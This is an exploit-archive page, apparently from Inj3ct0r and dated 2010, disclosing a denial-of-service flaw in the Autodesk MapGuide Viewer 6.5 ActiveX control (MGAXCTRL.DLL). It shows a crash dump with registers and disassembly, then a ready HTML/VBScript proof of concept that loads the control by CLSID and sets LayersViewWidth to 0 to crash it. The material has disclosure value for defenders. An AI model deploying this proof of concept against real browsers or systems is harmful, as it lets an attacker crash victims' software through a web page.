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Autodesk MapGuide Viewer ActiveX Denial of Service

Posted on 01 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Autodesk MapGuide Viewer ActiveX Denial of Service</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>==================================================
Autodesk MapGuide Viewer ActiveX Denial of Service
==================================================

# Exploit Title: Autodesk MapGuide Viewer ActiveX(MGAXCTRL.DLL)Overflow Vulnerability
# Date: [01-09-2010]
# Author: [d3b4g]
# Software Link: http://usa.autodesk.com/adsk/servlet/item?siteID=123112&amp;id=9454821
# Version: [6.5]
# Tested on: [Winxp SP3]
# regards to ROL guys
 
Exception Code: ACCESS_VIOLATION
Disasm: 175CE9E CMP DWORD PTR [ESI+1C],0    (MGAXCTRL.DLL)
 
Seh Chain:
--------------------------------------------------
1   192847C     MGAXCTRL.DLL
2   73352542    VBSCRIPT.dll
3   7C839AD8    KERNEL32.dll
 
 
 
Registers:
--------------------------------------------------
EIP 0175CE9E
EAX 00000001
EBX 003EB690 -&gt; 0193F684
ECX 00000000
EDX 003E0608 -&gt; 00180F98
EDI 003EB5D8 -&gt; 0193FC24
ESI 00000404
EBP 0013EA84 -&gt; 0013EAA0
ESP 0013EA58 -&gt; 003EB644
 
ArgDump:
--------------------------------------------------
EBP+8   003EB644 -&gt; 0193F90C
EBP+12  00000000
EBP+16  0013EAD4 -&gt; 00130000
EBP+20  0042C4F4 -&gt; 00110024
EBP+24  0013EA94 -&gt; 0013EAD4
EBP+28  0013EB30 -&gt; 0013EBC0
 
 
Block Disassembly:
--------------------------------------------------
175CE8F POP ESI
175CE90 JMP [EAX+60]
175CE93 PUSH ESI
175CE94 LEA ESI,[ECX+404]
175CE9A TEST ESI,ESI
175CE9C JE SHORT 0175CEC2
175CE9E CMP DWORD PTR [ESI+1C],0      &lt;--- CRASH
175CEA2 JE SHORT 0175CEC2
175CEA4 PUSH 0
175CEA6 PUSH DWORD PTR [ESP+C]
175CEAA MOV ECX,ESI
175CEAC PUSH 0
175CEAE CALL 01912C63
175CEB3 MOV EAX,[ESI]
175CEB5 MOV ECX,ESI
 
PoC:
 
 
&lt;object classid='clsid:62789780-B744-11D0-986B-00609731A21D' id='target' /&gt;
&lt;script language='vbscript'&gt;
 
'File Generated by COMRaider v0.0.133 - http://labs.idefense.com
 
'Wscript.echo typename(target)
 
'for debugging/custom prolog
targetFile = &quot;C:Program FilesAutodeskMapGuideViewerActiveX6.5MgAxCtrl.dll&quot;
prototype  = &quot;Property Let LayersViewWidth As Long&quot;
memberName = &quot;LayersViewWidth&quot;
progid     = &quot;MGMapControl.MGMap&quot;
argCount   = 1
 
arg1=0
 
target.LayersViewWidth = arg1
 
&lt;/script&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-01]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

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